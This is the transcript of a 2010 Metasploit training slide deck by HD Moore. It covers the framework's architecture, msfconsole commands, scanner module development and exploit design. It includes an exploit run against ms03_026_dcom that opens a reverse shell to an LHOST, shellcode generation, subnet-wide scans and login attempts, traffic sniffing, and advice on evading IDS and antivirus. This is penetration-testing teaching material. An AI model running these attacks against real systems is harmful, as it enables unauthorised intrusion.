$30 off During Our Annual Pro Sale. View Details »

Mastering Metasploit: Micro Edition

HD Moore
February 01, 2010

Mastering Metasploit: Micro Edition

This presentation covers the basics of using and extending the Metasploit Framework.

HD Moore

February 01, 2010
Tweet

More Decks by HD Moore

Other Decks in Technology

Transcript

  1. mastering
    metasploit
    (micro edition)

    View Slide

  2. Metasploit

    View Slide

  3. What is Metasploit?
    Metasploit Project

    A community-driven project since 2003
    Rapid7

    Maker of NeXpose Vulnerability Management
    Metasploit Framework

    The original open-source exploit framework

    View Slide

  4. Metasploit Versions
    1.0 released in 2003 (Perl)
    2.0 released in 2004 (Better Perl)

    2.7 released in late 2006
    3.0 released in 2007 (Ruby)

    3.2 released in late 2008

    3.3 released in late 2009

    3.3.4 in the next two weeks

    View Slide

  5. Architecture

    View Slide

  6. Rex
    MSF Core
    MSF Base
    Payloads Exploits Encoders Nops Aux
    MODULES
    LIBRARIES INTERFACES
    Console
    CLI
    Web
    GUI
    PLUGINS
    TOOLS
    Metasploit Architecture

    View Slide

  7. Core Concepts – File System
    Organized by directory

    lib: the meat of the framework code base

    data: editable files used by Metasploit

    tools: various useful command-line utils

    modules: the actual modules

    plugins: loadable plugins

    scripts: metepreter and other scripts

    external: source code and third-party libs

    View Slide

  8. Core Concepts - Libraries
    Rex is the basic library for most tasks

    Sockets, protocols, text transformations

    SSL, SMB, HTTP, XOR, Base64, Unicode
    Msf::Core provides the 'basic' API

    Defines the framework
    Msf::Base provides the 'friendly' API

    Simplified APIs for the framework

    View Slide

  9. Core Concepts – User Interfaces
    msfconsole

    This is what you should ALWAYS use

    Most features and the most stable

    Windows supported via Cygwin
    msfgui, msfweb, msfcli

    Useful for specific tasks

    Less supported

    View Slide

  10. Core Concepts – Modules
    Exploits

    Defined as modules which use payloads

    Exploits without payloads: Auxiliary
    Payloads, Encoders, Nops

    Payloads run remotely

    Encoders make sure they get there

    Nops keep payloads sizes consistent

    View Slide

  11. Core Concepts – Module Locations
    Primary module tree

    Under $install/modules//
    User-specific module tree

    Under ~/.msf3/modules//

    Useful for private module sets
    Load additional trees at runtime

    The “-m” option to msfconsole

    The “loadpath” command in msfconsole

    View Slide

  12. Core Concepts – Object Model
    All modules are Ruby classes

    Inherit from the type-specific class

    Which inherits from the Msf::Module class

    Shared common API between modules
    Payloads are slightly different

    Created at runtime from components

    Glue together stagers with stages

    View Slide

  13. Core Concepts – Mixins
    Mixins are the reason Ruby rocks

    Mixins “include” one class into another

    Different but similar to inheritance

    Mixins can override a class methods
    Allows modules to have different flavors

    Protocol-specific (ex: HTTP, SMB)

    Behavior-specific (ex: brute force)

    View Slide

  14. Core Concepts – Plugins
    Plugins work directly with the API

    Manipulate the framework as whole

    Hook into the event subsystem

    Automate specific tasks
    Plugins only work in the console

    Add new console commands

    Extend framework functionality

    View Slide

  15. User Interfaces

    View Slide

  16. msfconsole
    888 888 d8b888
    888 888 Y8P888
    888 888 888
    88888b.d88b. .d88b. 888888 8888b. .d8888b 88888b. 888 .d88b. 888888888
    888 "888 "88bd8P Y8b888 "88b88K 888 "88b888d88""88b888888
    888 888 88888888888888 .d888888"Y8888b.888 888888888 888888888
    888 888 888Y8b. Y88b. 888 888 X88888 d88P888Y88..88P888Y88b.
    888 888 888 "Y8888 "Y888"Y888888 88888P'88888P" 888 "Y88P" 888 "Y888
    888
    888
    888
    =[ msf v3.3-dev
    + -- --=[ 304 exploits - 173 payloads
    + -- --=[ 20 encoders - 6 nops
    =[ 74 aux
    msf exploit(ms03_026_dcom) >

    View Slide

  17. Overview: msfconsole

    Text-based interface to the framework

    Full readline support, tabbing, completion

    Preferred interface of the developers

    Unrecognized commands passed to the shell
     Run other tools from within metasploit

    View Slide

  18. Usage: msfconsole
    $ msfconsole -h
    Usage: msfconsole [options]
    Specific options:
    -r Execute the specified resource file
    -c Load the specified configuration file
    -m Specifies an additional module search path
    -v, --version Show version
    Common options:
    -h, --help Show this message

    View Slide

  19. Core Command: connect

    A miniature netcat clone built into msfconsole

    Supports SSL, proxies, pivoting, file sends
    msf > connect 192.168.1.1 22
    [*] Connected to 192.168.1.1:22
    SSH-2.0-dropbear_0.52
    ^C
    msf > connect -s www.metasploit.com 443
    [*] Connected to www.metasploit.com:443
    GET / HTTP/1.0
    HTTP/1.1 302 Found
    Date: Sat, 25 Jul 2009 05:03:42 GMT
    Server: Apache/2.2.11
    Location: http://www.metasploit.org/

    View Slide

  20. Core Command: info

    Provides detailed module information

    Always read a module description before using

    The info command also provides
     Author and licensing information
     Vulnerability references
     Payload restrictions

    View Slide

  21. Core Command: info
    msf > info exploit/windows/smb/psexec
    Name: Microsoft Windows Authenticated User Code Execution
    Version: 6118
    Platform: Windows
    Privileged: Yes
    License: Metasploit Framework License (BSD)
    Provided by:
    hdm
    Payload information:
    Space: 8192
    Description:
    This module uses a valid administrator username and password (or
    password hash) to execute an arbitrary payload. This module is
    similar to the "psexec" utility provided by SysInternals. References:
    http://www.microsoft.com/technet/sysinternals/utilities/psexec.mspx

    View Slide

  22. Core Command: irb

    Drop into a live Ruby interpreter shell

    Allows for real-time scripting of Metasploit

    Useful for understanding framework internals
    msf > irb
    [*] Starting IRB shell...
    >> Framework::Version
    => "3.3-dev"
    >> print_status("Hello")
    [*] Hello
    >> framework.modules.keys.length
    => 744

    View Slide

  23. Core Command: jobs

    Jobs are modules running in the background

    Provides the ability to list and terminate jobs
    msf > jobs -h
    Usage: jobs [options]
    Active job manipulation and interaction.
    OPTIONS:
    -K Terminate all running jobs.
    -h Help banner.
    -k Terminate the specified job name.
    -l List all running jobs.

    View Slide

  24. Core Command: load

    Loads a plugin from the plugin directory

    Pass arguments as key=val on the shell
    msf > load
    Usage: load [var=val var=val ...]
    Load a plugin from the supplied path. The optional
    var=val options are custom parameters that can be
    passed to plugins.
    msf > load pcap_log
    [*] Successfully loaded plugin: pcap_log

    View Slide

  25. Core Command: loadpath

    Loads a third-party module tree for the path

    Point at your 0-day, encoders, payloads, etc
    msf > loadpath /home/secret/modules
    Loaded 0 modules.

    View Slide

  26. Core Command: route

    Route sockets through a session or “comm”

    Provides basic pivoting capabilities
    msf > route
    Usage: route [add/remove/get/flush/print] subnet netmask [comm/sid]
    Route traffic destined to a given subnet through a supplied session
    msf > route add 192.168.100.0 255.255.255.0 1

    View Slide

  27. Core Command: save

    Saves current environment and settings

    Automatically loads them on startup
    msf > save
    Saved configuration to: /home/hdm/.msf3/config

    View Slide

  28. Core Command: search

    Search all modules for a regular expression

    Looks at names, descriptions, references, etc
    msf > search IIS
    [*] Searching loaded modules for pattern 'IIS'...
    Exploits
    ========
    Name Description
    ---- -----------
    windows/iis/ms01_023_printer Microsoft IIS 5.0 Printer Host ...
    windows/iis/ms01_033_idq Microsoft IIS 5.0 IDQ Path Overflow..
    windows/iis/ms02_018_htr Microsoft IIS 4.0 .HTR Path Overflow
    windows/iis/ms03_007_ntdll_webdav Microsoft IIS 5.0 WebDAV ntdll.dll...

    View Slide

  29. Core Command: sessions

    List, interact, and kill spawned sessions

    Sessions can be shells, meterpreter, vnc, etc
    msf > sessions
    Usage: sessions [options]
    Active session manipulation and interaction.
    OPTIONS:
    -d Detach an interactive session
    -h Help banner.
    -i Interact with the supplied session identifier.
    -k Terminate session.
    -l List all active sessions.
    -q Quiet mode.
    -v List verbose fields.

    View Slide

  30. Core Command: set

    Configure framework options and parameters

    Global datastore overrides per-module datastore
    msf > set VAR 1234
    VAR => 1234
    msf > set DebugLevel 5
    DebugLevel => 5
    msf > set PAYLOAD windows/shell/reverse_tcp
    msf > set LHOST 192.168.0.1
    msf > set LPORT 2323

    View Slide

  31. Core Command: show

    Displays module lists by type
    msf > show exploits
    msf > show auxiliary
    msf > show payloads
    msf > show encoders
    msf > show nops

    View Slide

  32. Core Command: unload

    Unloads a previously loaded plugin

    Removes any extended commands
    msf > load pcap_log
    [*] Successfully loaded plugin: pcap_log
    msf > unload pcap_log
    Unloading plugin pcap_log...unloaded.

    View Slide

  33. Core Command: unset

    Removes a parameter configured with set

    Remove all variables with “unset all”
    msf > set VAR 1234
    VAR => 1234
    msf > set
    Global
    ======
    VAR 1234
    msf > unset VAR
    Unsetting VAR...
    msf > set
    Global
    ======
    No entries in data store.

    View Slide

  34. Core Command: use

    Change context to a specific module

    Exposes type specific commands

    Changes set and unset from global to module
    msf > use exploit/multi/handler
    msf > use payload/windows/shell_bind_tcp
    msf > use nop/x86/opty2
    msf > use auxiliary/scanner/smb/version
    msf type(name) > back
    msf >

    View Slide

  35. Using Payloads

    Create shellcode from the console

    Adds the generate command
    msf > use payload/windows/shell_bind_tcp
    msf payload(shell_bind_tcp) > generate -h
    Usage: generate [options]
    OPTIONS:
    -b The list of characters to avoid: '\x00\xff'
    -e The name of the encoder module to use.
    -f The output file name (otherwise stdout)
    -h Help banner.
    -o A comma separated list of options in VAR=VAL format.
    -s NOP sled length.
    -t The output type: ruby, perl, c, or raw.

    View Slide

  36. Using Nops

    Create nop sleds from the console

    Adds the generate command
    msf > use nop/x86/opty2
    msf nop(opty2) > generate -h
    Usage: generate [options] length
    Generates a NOP sled of a given length.
    OPTIONS:
    -b The list of characters to avoid: '\x00\xff'
    -h Help banner.
    -s The comma separated list of registers to save.
    -t The output type: ruby, perl, c, or raw.

    View Slide

  37. Using Exploits

    Adds the exploit and check commands
    msf > use exploit/windows/dcerpc/ms03_026_dcom
    msf exploit(ms03_026_dcom) > help
    Exploit Commands
    ================
    Command Description
    ------- -----------
    check Check to see if a target is vulnerable
    exploit Launch an exploit attempt
    rcheck Reloads the module and checks if the target is vulnerable
    rexploit Reloads the module and launches an exploit attempt
    msf exploit(ms03_026_dcom) > set RHOST 192.168.0.128
    msf exploit(ms03_026_dcom) > check

    View Slide

  38. Using Exploits

    Adds new options to the show command
    msf > use exploit/windows/dcerpc/ms03_026_dcom
    msf exploit(ms03_026_dcom) > show targets
    msf exploit(ms03_026_dcom) > show payloads
    msf exploit(ms03_026_dcom) > show options
    msf exploit(ms03_026_dcom) > show advanced
    msf exploit(ms03_026_dcom) > show evasion

    View Slide

  39. Using Auxiliary Modules

    Modules can add new commands to the console

    Adds the run command (exploit is an alias)

    Adds new options to the show command
    msf > use auxiliary/scanner/smb/version
    msf auxiliary(version) > show actions

    View Slide

  40. Reloading Modules

    Supported by exploits and auxiliary

    rexploit, rerun, rcheck, and reload

    Useful for module development
    msf > use auxiliary/scanner/smb/version
    msf auxiliary(version) > set RHOSTS 192.168.0.128
    msf auxiliary(version) > run
    [ make changes to the module source code ]
    msf auxiliary(version) > rerun

    View Slide

  41. Reloading Modules

    Supported by exploits and auxiliary

    rexploit, rerun, rcheck, and reload

    Useful for module development
    msf > use auxiliary/scanner/smb/version
    msf auxiliary(version) > set RHOSTS 192.168.0.128
    msf auxiliary(version) > run
    [ make changes to the module source code ]
    msf auxiliary(version) > rerun

    View Slide

  42. Global vs Module Datastore

    Think of it as a process environment
     Global environment (setg & unsetg)
     Module environment (set & unset)

    The save command preserves both

    Save time using the saved datastore
     Set common variables as globals

    LHOST, LPORT, PAYLOAD
     Preconfigure common exploits

    TARGET, DCERPC::max_frag_size

    View Slide

  43. Using Tab Completion

    The console is designed to be FAST to use

    Depends on the ruby readline extension

    Nearly every command has tab completion
     use exploit/windows/dce
     use .*netapi.*
     set LHOST
     show
     set TARGET
     set PAYLOAD windows/shell/
     exp

    View Slide

  44. Console Batch Commands

    Speed up testing, development, automation

    Specify a batch file with -r on start

    Use the resource command in the console

    Create script as ~/.msf3/msfconsole.rc
    $ echo version > version.rc
    $ msfconsole -r version.rc
    =[ msf v3.3-dev
    + -- --=[ 359 exploits - 223 payloads
    + -- --=[ 20 encoders - 7 nops
    =[ 137 aux
    resource> version
    Framework: 3.3-dev.6055
    Console : 3.3-dev.6318

    View Slide

  45. LAB: Generate a Win32 Bind Shell
    Use a Windows bind shell payload with msfconsole

    Generate output In Ruby format

    Generate without bytes 0x00, 0x02, 0x08

    Generate without byte 0xd9 (what changed?)

    Generate multiple times
     What parts stay similar?

    View Slide

  46. msfcli
    $ msfcli -h
    Usage: /usr/local/bin/msfcli [mode]
    =================================================================
    Mode Description
    ---- -----------
    (H)elp You're looking at it baby!
    (S)ummary Show information about this module
    (O)ptions Show available options for this module
    (A)dvanced Show available advanced options for this module
    (I)DS Evasion Show available ids evasion options for this module
    (P)ayloads Show available payloads for this module
    (T)argets Show available targets for this exploit module
    (AC)tions Show available actions for this auxiliary module
    (C)heck Run the check routine of the selected module
    (E)xecute Execute the selected module

    View Slide

  47. Overview: msfcli

    Non-interactive console interface for Metasploit

    Launches one specific module only

    Handy for quick tests and scripting

    NO LONGER MAINTAINED

    View Slide

  48. Usage: msfcli

    Specify payload, options, and action 'E'
    $ msfcli exploit/windows/dcerpc/ms03_026_dcom \
    RHOST=192.168.0.128 \
    PAYLOAD=windows/shell/reverse_tcp \
    LHOST=192.168.0.2 \
    LPORT=2323 \
    E
    [*] Handler binding to LHOST 0.0.0.0
    [*] Started reverse handler
    [*] Trying target Windows NT SP3-6a/2000/XP/2003 Universal....
    [*] Sending exploit ...
    [*] Command shell session 1 opened (192.168.0.2:2323)
    Microsoft Windows 2000 [Version 5.00.2195]
    (C) Copyright 1985-2000 Microsoft Corp.
    C:\WINNT\system32>

    View Slide

  49. msfweb

    View Slide

  50. Overview: msfweb

    Web 2.0 interface to the Metasploit Framework

    Supports multiple users, able to share sessions

    No authentication or attempt at security

    Useful for some group tasks

    NO LONGER MAINTAINED

    View Slide

  51. msfgui

    View Slide

  52. Overview: msfgui

    GTK+ GUI interface for the Metasploit Framework

    Provides a usable console via Control+O

    Graphical file and process browser

    Somewhat buggy and prone to crash

    NO LONGER MAINTAINED

    View Slide

  53. msfrpcd
    $ msfrpcd -U hdm -P s3cr3tp4ss
    [*] XMLRPC starting on 0.0.0.0:55553 (SSL)...
    [*] XMLRPC initializing...
    [*] XMLRPC backgrounding...
    $ msfrpc -U hdm -P s3cr3tp4ss -a 127.0.0.1
    [*] The 'rpc' object holds the RPC client interface
    >> rpc.call("module.info", "exploit", "solaris/telnet/ttyprompt")
    => {"name"=>"Solaris in.telnetd TTYPROMPT Buffer Overflow",
    "license"=>"Metasploit Framework License (BSD)",
    "targets"=>{"0"=>"Automatic"}, "version"=>"6854", "default_target"=>0,
    "filepath"=>"/msf3/modules/exploits/solaris/telnet/ttyprompt.rb",
    "description"=>"\n\t\t\t\tThis module uses a buffer overflow in the
    Solaris 'login'\n\t\t\tapplication to bypass authentication in the
    telnet daemon. \n\t\t\t", "authors"=>["MC ", "cazz
    "], "references"=>[["BID", "5531"], ["CVE", "2001-0797"],
    ["MIL", "66"]]}

    View Slide

  54. Overview: msfrpcd and msfrpc

    Remote scripting interface for Metasploit

    Authenticated with user/pass over SSL

    Implementation under lib/msf/core/rpc/

    Underlying protocol is XMLRPC + NULL byte

    Useful for product integration and automation

    End goal is a client-only msfconsole interface
     Use a single dedicated host for metasploit
     Share access to compromised systems
     Integrate manual testing with automated tools

    View Slide

  55. Auxiliary Modules

    View Slide

  56. Auxiliary Modules
    Auxiliaries are organized in directories by type

    Denial of Service (dos)

    Administrative Access (admin)

    Evil services (server)

    Scanners (scanner)

    Spoofing (spoof)

    View Slide

  57. Scanner Modules
    Designed to help with reconnaissance

    Dozens of useful service scanners

    Simple module format, easy to use

    Specify ranges as RHOSTS vs RHOST

    Specify THREADS for concurrency
     Keep this under 16 on Native Win32
     Keep this under 200 on Cygwin
     UNIX: 256 works just fine

    View Slide

  58. LAB: Anonymous FTP Scanner
    Locate the anonymous FTP auxiliary module

    Configure to scan 192.168.1.0/24

    Run the module

    Configure to try user/pass of 'test'

    Use THREADS to scan faster

    View Slide

  59. Tips and Tricks: RHOSTS
    RHOSTS uses the OptAddressRange option class
    This class has some interesting features:
    # Target a CIDR mask (192.168.1.0 -> 192.168.1.255)
    msf auxiliary(module)> set RHOSTS 192.168.1.0/24
    # Target a specific range of IP addresses
    msf auxiliary(module)> set RHOSTS 192.168.1.100-192.168.1.255
    # Target all IP addresses in a hostname's subnet
    msf auxiliary(module)> set RHOSTS metasploit.com/24
    # Target multiple ranges listed line-by-line in a text file
    msf auxiliary(module)> set RHOSTS file:/tmp/ranges.txt
    # Target a IPv6 address (ranges are pointless, as shown later)
    msf auxiliary(module)> set RHOSTS fe80::21c:63ff:fed8:ba32
    # Soon to be implemented, targeting based on database contents
    msf auxiliary(module)> set RHOSTS db:/hosts,mask=192.168.1.0/24,port=80

    View Slide

  60. Host Discovery
    [ UDP Sweeper ]

    View Slide

  61. $ msfconsole
    _ _
    _ | | (_)_
    ____ ____| |_ ____ ___ ____ | | ___ _| |_
    | \ / _ ) _)/ _ |/___) _ \| |/ _ \| | _)
    | | | ( (/ /| |_( ( | |___ | | | | | |_| | | |__
    |_|_|_|\____)\___)_||_(___/| ||_/|_|\___/|_|\___)
    |_|
    =[ msf v3.3.4-dev
    + -- --=[ 497 exploits - 173 payloads
    + -- --=[ 20 encoders - 6 nops
    =[ 74 aux
    msf > use auxiliary/scanner/discovery/udp_sweep
    msf auxiliary(udp_sweep) >

    View Slide

  62. msf auxiliary(udp_sweep) > info
    Name: UDP Service Sweeper
    Version: 5709
    Provided by:
    hdm
    Basic options:
    Name Current Setting Required Description
    ---- --------------- -------- -----------
    BATCHSIZE 256 yes The number of hosts to probe in each set
    RHOSTS yes The target address range or CIDR identifier
    THREADS 1 yes The number of concurrent threads
    Description:
    Detect common UDP services
    msf auxiliary(udp_sweep) > set RHOSTS 192.168.1.0/24
    msf auxiliary(udp_sweep) > run
    [*] Sending 7 probes to 192.168.1.0->192.168.1.255 (256 hosts)
    [ ...]

    View Slide

  63. Service Discovery
    [ SMB Information ]

    View Slide

  64. msf > use auxiliary/scanner/smb/smb_version
    msf auxiliary(version) > show options
    Module options:
    Name Current Setting Required Description
    ---- --------------- -------- -----------
    RHOSTS yes The target address range or CIDR identifier
    THREADS 1 yes The number of concurrent threads
    msf auxiliary(version) > show advanced
    Module advanced options:
    Name : ConnectTimeout
    Current Setting: 10
    Description : Maximum number of seconds to establish a TCP connection
    Name : Proxies
    Current Setting:
    Description : Use a proxy chain

    View Slide

  65. msf auxiliary(version) > set RHOSTS 192.168.1.0/24
    msf auxiliary(version) > set THREADS 100
    msf auxiliary(version) > set ConnectTimeout 2
    msf auxiliary(version) > run
    [*] 192.168.1.65 is running Windows 2003 Service Pack 2
    [*] 192.168.1.15 is running Windows XP Service Pack 2+
    [*] 192.168.1.57 is running Windows XP Service Pack 2+
    [*] 192.168.1.86 is running Windows XP Service Pack 0 / Service Pack 1
    [*] 192.168.1.93 is running Windows XP Service Pack 2+
    [*] 192.168.1.62 is running Windows XP Service Pack 2+
    [*] 192.168.1.111 is running Unix Samba 3.0.22
    [*] 192.168.1.121 is running Unix Samba 3.0.28a
    [*] 192.168.1.110 is running Windows XP Service Pack 0 / Service Pack 1
    [*] 192.168.1.144 is running Unix Samba 3.0.28a
    [*] 192.168.1.161 is running Unix Samba 3.0.24-7.fc5
    [*] 192.168.1.182 is running Unix Samba 3.0.26a
    [*] 192.168.1.138 is running Windows 2003 Service Pack 2
    [*] 192.168.1.140 is running Windows XP Service Pack 2+
    [*] 192.168.1.181 is running Windows XP Service Pack 2+
    [*] 192.168.1.107 is running Windows XP Service Pack 0 / Service Pack 1
    [*] 192.168.1.204 is running Unix Samba 3.0.28a
    [*] 192.168.1.224 is running Unix Samba 3.0.28-1.el5_2.1

    View Slide

  66. Service Discovery
    [ HTTP Version ]

    View Slide

  67. msf > use auxiliary/scanner/http/http_version
    msf auxiliary(version) > show options
    Module options:
    Name Current Setting Required Description
    ---- --------------- -------- -----------
    Proxies no Use a proxy chain
    RHOSTS yes The target address range or CIDR identifier
    RPORT 80 yes The target port
    SSL false no Use SSL
    THREADS 1 yes The number of concurrent threads
    VHOST no HTTP server virtual host
    msf auxiliary(http_version) > set RHOSTS 192.168.1.0/24
    msf auxiliary(http_version) > set THREADS 100
    msf auxiliary(http_version) > set ConnectTimeout 2
    msf auxiliary(http_version) > run
    [*] 192.168.1.211 is running thttpd/2.25b 29dec2003
    [*] 192.168.1.216 is running Allegro-Software-RomPager/2.10
    [*] 192.168.1.222 is running Virata-EmWeb/R6_0_1
    [*] 192.168.1.229 is running cisco-IOS
    [*] 192.168.1.232 is running Web Server
    [*] 192.168.1.205 is running Apache

    View Slide

  68. Login Testing
    [ Microsoft SQL ]

    View Slide

  69. msf > use auxiliary/scanner/mssql/mssql_login
    msf auxiliary(mssql_login) > show options
    Module options:
    Name Current Setting Required Description
    ---- --------------- -------- -----------
    MSSQL_PASS no The password for the specified username
    MSSQL_USER sa no The username to authenticate as
    RHOSTS yes The target address range or CIDR identifier
    RPORT 1433 yes The target port
    THREADS 1 yes The number of concurrent threads
    msf auxiliary(mssql_login) > set RHOSTS 192.168.1.0/24
    msf auxiliary(mssql_login) > set THREADS 100
    msf auxiliary(mssql_login) > set ConnectTimeout 2
    msf auxiliary(mssql_login) > run
    [*] 192.168.1.41:1433 failed to login as 'sa'
    [*] 192.168.1.53:1433 failed to login as 'sa'
    [*] 192.168.1.54:1433 failed to login as 'sa'
    [*] 192.168.1.55:1433 failed to login as 'sa'
    [*] 192.168.1.44:1433 failed to login as 'sa'
    [*] 192.168.1.58:1433 failed to login as 'sa'
    [*] 192.168.1.61:1433 failed to login as 'sa'

    View Slide

  70. DCERPC Testing
    [ Enumeration ]

    View Slide

  71. msf > use auxiliary/scanner/dcerpc/endpoint_mapper
    msf auxiliary(endpoint_mapper) > show options
    Module options:
    Name Current Setting Required Description
    ---- --------------- -------- -----------
    RHOSTS yes The target address range or CIDR identifier
    RPORT 135 yes The target port
    THREADS 1 yes The number of concurrent threads
    msf auxiliary(endpoint_mapper) > set RHOSTS 192.168.1.147
    msf auxiliary(endpoint_mapper) > set THREADS 100
    msf auxiliary(endpoint_mapper) > set ConnectTimeout 2
    msf auxiliary(endpoint_mapper) > run
    [*] Connecting to the endpoint mapper service...
    [*] 12345678-1234-abcd-ef00-0123456789ab v1.0 TCP (1025) 192.168.1.147
    [*] 45f52c28-7f9f-101a-b52b-08002b2efabe v1.0 PIPE (\pipe\WinsPipe)
    [*] 811109bf-a4e1-11d1-ab54-00a0c91e9b45 v1.0 TCP (1035) 192.168.1.147
    [*] bfa951d1-2f0e-11d3-bfd1-00c04fa3490a v1.0 TCP (1034) 192.168.1.147
    [*] bfa951d1-2f0e-11d3-bfd1-00c04fa3490a v1.0 TCP (1036) 192.168.1.147
    [*] bfa951d1-2f0e-11d3-bfd1-00c04fa3490a v1.0 UDP (1037) 192.168.1.147
    [*] 50abc2a4-574d-40b3-9d66-ee4fd5fba076 v5.0 TCP (1030) 192.168.1.147
    [*] 906b0ce0-c70b-1067-b317-00dd010662da v1.0 TCP (1027) 192.168.1.147

    View Slide

  72. DCERPC Testing
    [ SMB Pipes ]

    View Slide

  73. msf > use auxiliary/scanner/smb/pipe_auditor
    msf auxiliary(pipe_auditor) > show options
    Module options:
    Name Current Setting Required Description
    ---- --------------- -------- -----------
    RHOSTS yes The target address range or CIDR identifier
    THREADS 1 yes The number of concurrent threads
    msf auxiliary(pipe_auditor) > set RHOSTS 192.168.1.0/24
    msf auxiliary(pipe_auditor) > set THREADS 100
    msf auxiliary(pipe_auditor) > set ConnectTimeout 2
    msf auxiliary(pipe_auditor) > run
    [*] 192.168.1.34 - Pipes: \netlogon, \lsarpc, \samr, \browser
    [*] 192.168.1.117 - Pipes: \netlogon, \lsarpc, \samr, \eventlog,
    [*] 192.168.1.116 - Pipes: \browser
    [*] 192.168.1.138 - Pipes: \netlogon, \lsarpc, \samr, \browser
    [*] 192.168.1.47 - Pipes: \browser

    View Slide

  74. DCERPC Testing
    [ DCERPC over SMB Pipes ]

    View Slide

  75. msf > use auxiliary/scanner/smb/pipe_dcerpc_auditor
    msf auxiliary(pipe_auditor) > show options
    Module options:
    Name Current Setting Required Description
    ---- --------------- -------- -----------
    RHOSTS yes The target address range or CIDR identifier
    SMBPIPE LSASS yes The pipe name to use (LSASS)
    THREADS 1 yes The number of concurrent threads
    msf auxiliary(pipe_dcerpc_auditor) > set RHOSTS 192.168.1.47
    msf auxiliary(pipe_dcerpc_auditor) > set SMBPIPE browser
    msf auxiliary(pipe_dcerpc_auditor) > run
    192.168.1.47 - UUID 00000131-0000-0000-c000-000000000046 0.0 OPEN VIA browser
    192.168.1.47 - UUID 00000134-0000-0000-c000-000000000046 0.0 OPEN VIA browser
    192.168.1.47 - UUID 00000143-0000-0000-c000-000000000046 0.0 OPEN VIA browser
    192.168.1.47 - UUID 000001a0-0000-0000-c000-000000000046 0.0 OPEN VIA browser
    192.168.1.47 - UUID 06bba54a-be05-49f9-b0a0-30f790261023 1.0 OPEN VIA browser
    192.168.1.47 - UUID 0a74ef1c-41a4-4e06-83ae-dc74fb1cdd53 1.0 OPEN VIA browser
    192.168.1.47 - UUID 0d72a7d4-6148-11d1-b4aa-00c04fb66ea0 1.0 OPEN VIA browser
    192.168.1.47 - UUID 12b81e99-f207-4a4c-85d3-77b42f76fd14 1.0 OPEN VIA browser
    192.168.1.47 - UUID 18f70770-8e64-11cf-9af1-0020af6e72f4 0.0 OPEN VIA browser
    192.168.1.47 - UUID 1ff70682-0a51-30e8-076d-740be8cee98b 1.0 OPEN VIA browser
    192.168.1.47 - UUID 20610036-fa22-11cf-9823-00a0c911e5df 1.0 OPEN VIA browser
    192.168.1.47 - UUID 2f5f6520-ca46-1067-b319-00dd010662da 1.0 OPEN VIA browser
    192.168.1.47 - UUID 2f5f6521-cb55-1059-b446-00df0bce31db 1.0 OPEN VIA browser

    View Slide

  76. Scanner Development

    View Slide

  77. Scanner Module Internals
    Metasploit scanner features

    Access to all exploit classes and methods

    Support for proxies, SSL, reporting

    Built-in threading and range scanning

    Easy to write and run quickly
    Extremely useful for security audits

    Find every instance of a bad password

    Scan for an in-house vulnerable service

    View Slide

  78. Scanner Architecture
    Auxiliary module that includes mixins

    First includes the 'exploit' mixins (TCP, SMB)

    Then includes 'auxiliary' mixins (Scanner)
    The Auxiliary::Scanner mixin

    Overloads the Auxiliary “run” method

    Calls your module method at runtime:
    run_host(ip) run_range(range) run_batch(batch)

    Process the IP address(es)

    View Slide

  79. class Metasploit3 < Msf::Auxiliary
    include Msf::Exploit::Remote::TCP
    include Msf::Auxiliary::Scanner
    def initialize
    super(
    'Name' => 'Custom Scanner Template',
    'Version' => '$Revision: 1 $',
    'Description' => 'My quick scanner',
    'Author' => 'My Name Here',
    )
    register_options( [
    Opt::RPORT(12345)
    ], self.class)
    end
    def run_host(ip)
    connect()
    sock.put(“HELLO SERVER\r\n”)
    data = sock.get_once
    print_status(“Received: #{data}”)
    disconnect()
    end
    end

    View Slide

  80. LAB: Write a TCP service scanner
    Locate a service on port 9999

    Send “password\r\n”

    Receive the data

    Display the data
    Auxiliary template available at:

    http://192.168.1.2/shared/myscanner.rb

    Install into:
    ~/.msf3/modules/auxiliary/class/myscanner.rb
    Hint: $ mkdir -p ~/.msf3/modules/auxiliary/class

    View Slide

  81. Raw Packet Modules
    Metasploit now supports raw packet aux modules

    PcapRub library is used to sniff and send

    Racket library is used to decode and create
    PcapRub must be compiled and installed

    cd msf3/external/source/pcaprub/

    ruby extconf.rb && make install
    Only really tested on Linux and requires root

    Should work on BSD & Mac OS X (no Win32)

    View Slide

  82. msf > use auxiliary/scanner/portscan/syn
    msf auxiliary(syn) > set RHOSTS 192.168.1.1
    msf auxiliary(syn) > set PORTS 1-1000
    msf auxiliary(syn) > run
    [*] TCP OPEN 192.168.1.1:22
    [*] TCP OPEN 192.168.1.1:53
    [*] TCP OPEN 192.168.1.1:80
    msf > use auxiliary/scanner/discovery/arp_sweep
    msf auxiliary(arp_sweep) > set RHOSTS 192.168.1.0/24
    msf auxiliary(arp_sweep) > run
    [*] 192.168.1.116 appears to be up.
    msf > use auxiliary/sniffer/psnuffle
    msf auxiliary(psnuffle) > run
    [*] Loaded protocol FTP from data/exploits/psnuffle/ftp.rb...
    [*] Loaded protocol URL from data/exploits/psnuffle/url.rb...
    [*] Sniffing traffic.....
    -> Get request sniffed: 91.203.99.45/?host=slashdot.org&hdn=NxA6
    -> Get request sniffed: 91.203.99.45/?host=www.slashdot.org&hdn
    -> Get request sniffed: 91.203.99.45/?host=www.bofa.com&hdn=vNV
    -> Get request sniffed: 91.203.99.45/?host=www.bofa.com&hdn=vN
    # ^- Opera 10b2 logging all web sites visited

    View Slide

  83. Reporting Results
    Use the Auxiliary::Report mixin
    include Msf::Auxiliary::Report
    Call the report_note() method
    report_note(
    :host => rhost,
    :type => "myscanner_password",
    :data => data
    )

    View Slide

  84. Reporting Results
    The Report mixin provides report_*()
    These methods depend on a database

    Check for a live database connection

    Check for a duplicate record (same data)

    Write a record into the table
    The database drivers are now autoloaded

    db_driver sqlite3 (postgres, mysql)
    The same schema as db_autopwn

    View Slide

  85. Reporting APIs
    Defined inside the Report mixin

    lib/msf/core/auxiliary/report.rb
    Schema defined for each DB type

    data/sql/*.sql
    Methods for every type of data

    report_host()

    report_service()

    report_note()

    report_auth_info()

    View Slide

  86. Exploits

    View Slide

  87. Exploit Design Goals
    Exploits should be minimal

    Offload as much as we can to framework

    Rely on the Rex protocol libraries

    Make heavy use of the mixins
    Exploits should be reliable

    BadChars must be 100% accurate

    Payload->Space is the maximum reliable

    Little details matter the most

    View Slide

  88. Exploit Design Goals
    Exploits should be random

    Rex::Text.rand_text_* to generate padding

    Randomize all payloads with encoders

    Randomize encoder stub if possible

    Randomize nops as well
    Randomization has benefits

    IDS, IPS, AV evasion are handy

    Also a great reliability test!

    View Slide

  89. Exploit Design Goals
    Exploits should be readable

    Consistent structure, hard-tab indents

    Fancy code is harder to maintain

    Mixins provide consistent option names
